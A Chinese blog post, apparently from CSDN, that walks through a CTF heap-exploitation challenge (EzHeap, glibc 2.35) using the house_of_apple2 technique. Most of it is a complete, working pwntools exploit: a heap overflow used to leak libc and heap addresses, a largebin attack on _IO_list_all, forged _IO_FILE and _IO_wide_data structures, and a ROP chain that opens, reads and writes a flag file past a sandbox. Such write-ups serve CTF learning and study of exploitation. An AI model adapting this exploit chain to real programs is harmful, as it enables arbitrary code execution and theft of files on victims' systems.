浅析house_of_apple2(下)

前言

这是浅析house_of_apple2(上)-CSDN博客的例题讲解,选取的题目是今年国赛的题目EzHeap,也借此机会记录一下在glibc2.35删除svcudp_reply函数后,如何orw达到读取flag的情况,题目链接在文末。

正文

正常的增删改查都有

开了沙箱:

 

 增:

没有什么漏洞,需要注意的是申请的堆块会被执行内容赋0操作。

删 :

将指针赋0,无法UAF。

改:

 最大的漏洞点:可以自己定义输入的长度。

查:

展示内容,但是使用printf(%s)。所以可以一直输出,直到遇到\x00为止。

思路

先申请多个堆块,通过释放一个很大的堆块进入unstoredbin内,后用edit将当前chunk和下一个chunk的size段和pre_size填满,然后show(),就能全都打印出来,就能泄露libc基址了,之后申请比他大的堆块,将其逼入largbin内,就可以实现泄露堆地址和打largbin attack了

create(0x200,b'./flag\x00\x00')#0
create(0x420,b'a'*16)#1
create(0x200,b'./flag\x00\x00')#2
create(0x410,b'a'*16)#3
delete(1)

edit(0,0x210,b'a'*0x20f+b'c')
show(0)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x21ace0
print("libc_base=",hex(libc_base))
#恢复原样
edit(0,0x210,b'a'*0x200+p64(0)+p64(0x431))
create(0x430,b'as')#1
edit(0,0x210,b'a'*0x20f+b'c')
show(0)
fd=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
edit(0,0x220,b'a'*0x21f+b'c')
show(0)
p.recvuntil(b'ac')
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-( 0x5617db1db510-0x5617db1d9000)
print("heap_base=",hex(heap_base))
#恢复原样
edit(0,0x230,b'a'*0x200+p64(0)+p64(0x431)+p64(fd)*2+p64(heap_base+0x5617db1db510-0x5617db1d9000)+p64(libc_base+libc.sym['_IO_list_all']-0x20))
print("_IO_list_all=",hex(libc_base+libc.sym['_IO_list_all']))

同时我们在恢复堆块二的原貌时将 (next_size_bk) -> 改为_IO_list_all-0x20,便于后续将堆地址写入_IO_list_all,

现在开始伪造结构体:

先看一下浅析house_of_apple2(上)-CSDN博客中我给出的伪造图:

 那就很明了了,我们应该构造如下两个结构体:

fake_IO_FILE=flat({
    0x0:0,  #_IO_read_end
    0x8:0,  #_IO_read_base
    0x10:0,  #_IO_write_base
    0x18:0,  #_IO_write_ptr
    0x20:0,  #_IO_write_end
    0x28:0,  #_IO_buf_base
    0x30:0,  #_IO_buf_end
    0x38:0,  #_IO_save_base
    0x40:0,  #_IO_backup_base
    0x48:0,#_IO_save_end
    0x50:0,  #_markers
    0x58:0,  #_chain
    0x60:0,  #_fileno
    0x68:0,  #_old_offset
    0x70:0,  #_cur_column
    0x78:0,  #_lock
    0x80:0,  #_offset
    0x88:0,  #_codecvt
    0x90:0x5635cdee0310-0x5635cdede000+heap_base,  #_wide_data
    0x98:0,  #_freeres_list
    0xa0:0,  #_freeres_buf
    0xa8:0,  #__pad5
    0xb0:0,  #_mode
    0xc8:_IO_wfile_jumps+libc_base,#vtable

})
print("_IO_wfile_jumps=",hex(_IO_wfile_jumps))
fake_IO_wide_data=flat({
    0x0:[libc_base+0x000000000002a3e5,#pop rdi
        heap_base+0x5626d7c3b950- 0x5626d7c39000,
        libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret
        0,##
        libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret
        0,
        0,##
        libc_base+0x0000000000045eb0,#0x0000000000045eb0 : pop rax ; ret
        2,
        libc_base+libc.sym["syscall"]+27,
        libc_base+0x000000000002a3e5,#pop rdi
        3,
        libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret,
        heap_base+0x5626d7c3b950- 0x5626d7c39000,
        libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret,
        0x100,
        0,
        read_addr,
        libc_base+0x000000000002a3e5,#pop rdi,
        1,
        write_addr,],
    0xa8:0,
    0xb0:0,
    0xb8:0,
    0xc0:0,
    0xc8:0,
    0xd0:0,
    0xd8:0,
    0xe0:0x5635cdee03f0-0x5635cdede000+heap_base,#_wide_vtable
    0x148:libc_base+0x000000000005a120#0x000000000005a120 : mov rsp, rdx ; ret
})

我们来详细看一下:

我们伪造的第一个结构体:

 

其通过_wide_data指向了下一个伪造结构体:

pwndbg> p *(struct _IO_wide_data *) 0x561bd5c93310
$3 = {
  _IO_read_ptr = 0x7f25bf6b13e5 <iconv+197> L"\xf66c35f萟\x48000000\x7b74f685\x482e8b48\x7374ed85\x4d128b48\x8949008b\x4cc931e1\x250403\x48000000\x78e8ea01\x48000005\x1492b2b\xf883242c\x48847608\xdbae0d8d\x5aba001a\x48000000\xdb9a358d\x8d48001a\x1b29e23d\xfa0de800\x1f0f0000\x4d000044\x2374f685\x458b4d\x48e18949\xd231e989\x14df631\x52de8f0\x2fe90000\xfffffff萟\x49000000\x3145e189\x31c931c0\xe8f631d2ԏ\xffff19e9\xf2e66ff萟\x48000000\xf979058b\xc764001eऀ\xc0c74800\xffffffff\xffff1ae9\x1f0f66ff\x48000044\xf959058b\xc764001eᘀ\xc0c74800\xffffffff\xfffefae9\x1f0f66ff\x48000044\xf939058b\xc764001e吀\xc0c74800\xffffffff\xfffedae9\x1f0f66ff\x48000044\xf919058b\xc764001e܀\xc0c74800\xffffffff\xfffebae9\xc041e8ff\xf3900010\x48fa1e0f\x74ffff83\xec834816\x68de808\xd8f70000\x8348c019\xfc308c4\x4800401f\xf8d9058b\xc764001eऀ\xffffb800\x66c3ffff\x841f0f2e",
  _IO_read_end = 0x561bd5c93950 L"\x6c662f2e条",
  _IO_read_base = 0x7f25bf6b2e51 <__gconv_close_transform+225> L"\x1f0fc35e\x48000044\xfbd13d8d\x9ce8001e\xeb000654\xf2e66e2萟\x48000000\xfbb93d8d\xb4e8001e\xe9000653\xffffff16\x1f0f2e66\204\x1f0f0000\x55000044\x41e58948\x41564157\x53544155\x38ec8348\x48b4864⠥\x45894800\x58d48c8\x1efbab\x48188b48\x850fdb85ͣ\x882d8b4c\x4d001efb\x840fed85ɟ\xe8ef894c\xffffc5b7\x48e78948\x8d48c289\x89482140\x8d48b845\x89483842\x2548c6\x48fffff0\x8348c729\x3948f0e6\x481574fc\x1000ec81\x83480000\xff8248c\x48000000\xeb75fc39\xfffe681\x29480000\xf68548f4\x274850f\x8d480000\x4c0f247c\x8348ee89\x8948f0e7\xa4e8c07d\x66ffffc4\xfc056f0f\x31001b08\x66ff31f6\xd6f0f\xc6001b09\x110f3a00\x110f0140\x70e81148\x49000e92\x8548c589\x3a840fc0\x48000002\x1ce8c789\x4cffffc5\x48c0658b\x48a84589\x4801c083\xbeb04589:\xe8e7894c\xffffc66f\x48c78949\x840fc085Ȣ\x1be41\x6eb0000\x49001f0f\x8d48c789\xc031014b\x17f8d49㪾\xcf394900\xffb894c\x141c095\xc635e8c6\x8548ffff\x41d875c0\x41ff568d\x4d017e8d\x6348fe63\xaf0f48d2\x6348b055\xe7c148ff\xff014c04\xb87d0348\xe8d70148\xffffc387\xa0458948\xfc08548\x1ea84\xc7834900\x358d4c01\x1adbc0\x49e7894c\x4c04e7c1\x149f689\x58d48c7\x1efa33읈\x48000000\x48c0458d\x8948c289\x14e8b045\x490007d3\x8548c089\xb8840fc0\x48000001\x45a05d8b\x4c90e431\x80413b89\x27742f38\xfed854d𖾄\x558b4800\xff894ca8\x4cee894c\xe8b84589\xffffc36b\xb8458b4c\x4c2f00c6\x4c01788d\x894cc689\xc3c5e8ff\x7880ffff\x7742fff\x482f00c6\x4801c083\xf9b90d8d\x8948001e\x132b48c2\x8538948\x76113b48\x11894803\x480000c6\x4cb0558b\xff31f689\x1788d4c\x1c48341\x10c38348\x7d282e8\xc0894900\xfc08548\xffff7685\x458b48ff\xe4634da0\x4e4c149\x48e0014cÇ\xc7480000ࡀ\x8d480000\x1ef96205\x758b4800\xef894ca0\xe8308948\xffffc263\xc8458b48\x42b4864⠥\xff850f00\x48000000\x5bd8658d\x5d415c41\x5f415e41\x4890c35d\x3948e089\x481574c4\x1000ec81\x83480000\xff8248c\x48000000\xeb75c439\x30ec8348\x244c8348\xf660028\x6e1156f\xf66001b\x6e91d6f\x8d48001b\x480f2444\x1b045c7"...,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x7f25bf7a62e7 <__qecvt+39> L"\xc35c415a\x441f0f\x1e0ff300\x15b8fa\x54410000\x48f48949\xae6c358d\xc739000b\x182474ff\xffc74e0f\x4c182474\xc289e789\x62e8c031\x58fff415\x5ae0894c\x66c35c41\x841f0f2e",
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x7f25bf6cceb0 <mblen+112> L"\xf66c358䐟\x61158d48\x48001d19\x31fa058d\x3948001d\x48d474d3\xfde8df89\x480008cc\xeb28438b\x801f0fc6",
  _IO_save_base = 0x2 <error: Cannot access memory at address 0x2>,
  _IO_backup_base = 0x7f25bf7a588b <syscall+27> L"\x3d48050f\xfffff001\x48c30173\xb5730d8b\xd8f7000f\x48018964\xc3ffc883\x841f0f66",
  _IO_save_end = 0x7f25bf6b13e5 <iconv+197> L"\xf66c35f萟\x48000000\x7b74f685\x482e8b48\x7374ed85\x4d128b48\x8949008b\x4cc931e1\x250403\x48000000\x78e8ea01\x48000005\x1492b2b\xf883242c\x48847608\xdbae0d8d\x5aba001a\x48000000\xdb9a358d\x8d48001a\x1b29e23d\xfa0de800\x1f0f0000\x4d000044\x2374f685\x458b4d\x48e18949\xd231e989\x14df631\x52de8f0\x2fe90000\xfffffff萟\x49000000\x3145e189\x31c931c0\xe8f631d2ԏ\xffff19e9\xf2e66ff萟\x48000000\xf979058b\xc764001eऀ\xc0c74800\xffffffff\xffff1ae9\x1f0f66ff\x48000044\xf959058b\xc764001eᘀ\xc0c74800\xffffffff\xfffefae9\x1f0f66ff\x48000044\xf939058b\xc764001e吀\xc0c74800\xffffffff\xfffedae9\x1f0f66ff\x48000044\xf919058b\xc764001e܀\xc0c74800\xffffffff\xfffebae9\xc041e8ff\xf3900010\x48fa1e0f\x74ffff83\xec834816\x68de808\xd8f70000\x8348c019\xfc308c4\x4800401f\xf8d9058b\xc764001eऀ\xffffb800\x66c3ffff\x841f0f2e",
  _IO_state = {
    __count = 3,
    __value = {
      __wch = 0,
      __wchb = "\000\000\000"
    }
  },
  _IO_last_state = {
    __count = -1083494831,
    __value = {
      __wch = 32549,
      __wchb = "%\177\000"
    }
  },
  _codecvt = {
    __cd_in = {
      step = 0x561bd5c93950,
      step_data = {
        __outbuf = 0x7f25bf7a62e7 <__qecvt+39> "ZA\\\303\017\037D",
        __outbufend = 0x100 <error: Cannot access memory at address 0x100>,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = -1082542128,
        __statep = 0x7f25bf6b13e5 <iconv+197>,
        __state = {
          __count = 1,
          __value = {
            __wch = 0,
            __wchb = "\000\000\000"
          }
        }
      }
    },
    __cd_out = {
      step = 0x7f25bf79b870 <__GI___libc_write>,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = 0,
        __statep = 0x0,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = "\000\000\000"
          }
        }
      }
    }
  },
  _shortbuf = L"",
  _wide_vtable = 0x561bd5c933f0
}

经过前置学习,我们知道其最后执行的指令是:call *(fp->_wide_data->_wide_vtable + 0x68)(fp)

我们来看一下_wide_vtable这个地方我们伪造的东西:

 注意到我在__doallocate处写入了__push___start_context+96,我们来看一下这段代码的功能:

 这里是将rdx的值赋值给了rsp以便后续执行rsp处的代码,那我们只需要在对应rdx处写入orw的指令就好,顺便说一下,这个版本的open是用opnenat实现的,所以要有syscall来调用。

后面就是正操的largbin操作了,最后输入5退出,就可以开始执行我们的代码了。

执行流程:

先给一条函数调用链子:

exit -> __run_exit_handlers -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_wfile_overflow -> _IO_wdoallocbuf -> target

这里主要给出后面的流程示意图:

 _IO_wfile_overflow:

 _IO_wfile_overflow:

 __push___start_context+96:

orw :

最后结果:

完整exp:

from pwn import *
from pwncli import *

context(os='linux', arch='amd64', log_level='debug')
p= process("./EzHeap.backup")
#p=remote("ctf.qwq.cc",10016)
#p = remote('node5.buuoj.cn', 27777)
elf = ELF("./EzHeap.backup")
libc = ELF("/home/mazhatter/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6")
'''
patchelf --set-interpreter /opt/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./patchelf
patchelf --replace-needed libc.so.6 /opt/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./patchelf
ROPgadget --binary main --only "pop|ret" | grep rdi
'''

def gdbbug():
    #gdb.attach(p)
    gdb.attach(p,"set debug-file-directory /home/mazhatter/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/.debug/")
    pause()

def create(size,content):
    p.recvuntil(b">>")
    p.sendline(b"1")
    p.recvuntil(b"size:")
    p.sendline(str(size).encode())
    p.recvuntil(b"content:")
    p.send(content)

def delete(index):
    p.recvuntil(b">>")
    p.sendline(b"2")
    p.recvuntil(b"idx:")
    p.sendline(str(index))

def edit(index,Length,Content):
    p.recvuntil(b">>")
    p.sendline(b"3")
    p.recvuntil(b"idx:")
    p.sendline(str(index).encode())
    p.recvuntil(b"size:")
    p.sendline(str(Length))
    p.recvuntil(b"content:")
    p.send(Content)

def show(index):
    p.recvuntil(b">>")
    p.sendline(b"4")
    p.recvuntil(b"idx:")
    p.sendline(str(index))

create(0x200,b'./flag\x00\x00')#0
create(0x420,b'a'*16)#1
create(0x200,b'./flag\x00\x00')#2
create(0x410,b'a'*16)#3
delete(1)

edit(0,0x210,b'a'*0x20f+b'c')
show(0)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x21ace0
print("libc_base=",hex(libc_base))
#恢复原样
edit(0,0x210,b'a'*0x200+p64(0)+p64(0x431))
create(0x430,b'as')#1
edit(0,0x210,b'a'*0x20f+b'c')
show(0)
fd=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
edit(0,0x220,b'a'*0x21f+b'c')
show(0)
p.recvuntil(b'ac')
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-( 0x5617db1db510-0x5617db1d9000)
print("heap_base=",hex(heap_base))
#恢复原样
edit(0,0x230,b'a'*0x200+p64(0)+p64(0x431)+p64(fd)*2+p64(heap_base+0x5617db1db510-0x5617db1d9000)+p64(libc_base+libc.sym['_IO_list_all']-0x20))
print("_IO_list_all=",hex(libc_base+libc.sym['_IO_list_all']))


#house_of_apple2

pop_rdi_addr=libc_base+0x000000000002a3e5
pop_rsi_addr=libc_base+0x000000000002be51
pop_rdx_addr=libc_base+libc.search(asm("pop rdx\nret")).__next__()
pop_rax_addr=libc_base+libc.search(asm("pop rax\nret")).__next__()
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
syscall_addr=libc_base+0x91316
_IO_wfile_jumps = libc.sym._IO_wfile_jumps
mprotect_addr=libc_base+libc.sym['mprotect']

fake_IO_FILE=flat({
    0x0:0,  #_IO_read_end
    0x8:0,  #_IO_read_base
    0x10:0,  #_IO_write_base
    0x18:0,  #_IO_write_ptr
    0x20:0,  #_IO_write_end
    0x28:0,  #_IO_buf_base
    0x30:0,  #_IO_buf_end
    0x38:0,  #_IO_save_base
    0x40:0,  #_IO_backup_base
    0x48:0,#_IO_save_end
    0x50:0,  #_markers
    0x58:0,  #_chain
    0x60:0,  #_fileno
    0x68:0,  #_old_offset
    0x70:0,  #_cur_column
    0x78:0,  #_lock
    0x80:0,  #_offset
    0x88:0,  #_codecvt
    0x90:0x5635cdee0310-0x5635cdede000+heap_base,  #_wide_data
    0x98:0,  #_freeres_list
    0xa0:0,  #_freeres_buf
    0xa8:0,  #__pad5
    0xb0:0,  #_mode
    0xc8:_IO_wfile_jumps+libc_base,#vtable

})
print("_IO_wfile_jumps=",hex(_IO_wfile_jumps))
fake_IO_wide_data=flat({
    0x0:[libc_base+0x000000000002a3e5,#pop rdi
        heap_base+0x5626d7c3b950- 0x5626d7c39000,
        libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret
        0,##
        libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret
        0,
        0,##
        libc_base+0x0000000000045eb0,#0x0000000000045eb0 : pop rax ; ret
        2,
        libc_base+libc.sym["syscall"]+27,
        libc_base+0x000000000002a3e5,#pop rdi
        3,
        libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret,
        heap_base+0x5626d7c3b950- 0x5626d7c39000,
        libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret,
        0x100,
        0,
        read_addr,
        libc_base+0x000000000002a3e5,#pop rdi,
        1,
        write_addr,],
    0xa8:0,
    0xb0:0,
    0xb8:0,
    0xc0:0,
    0xc8:0,
    0xd0:0,
    0xd8:0,
    0xe0:0x5635cdee03f0-0x5635cdede000+heap_base,
    0x148:libc_base+0x000000000005a120#0x000000000005a120 : mov rsp, rdx ; ret
})
edit(3,len(fake_IO_FILE),fake_IO_FILE)
edit(0,len(fake_IO_wide_data),fake_IO_wide_data)


delete(3)
create(0x430,b'c')
gdbbug()
p.sendlineafter(b"choice >> ",'5')
#gdbbug()
p.interactive()

 题目链接:

通过百度网盘分享的文件:EzHeap
链接:https://pan.baidu.com/s/1N5o6K6vwmqTd2NNnTdSTsg?pwd=1111 
提取码:1111 
--来自百度网盘超级会员V4的分享

  • 6
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值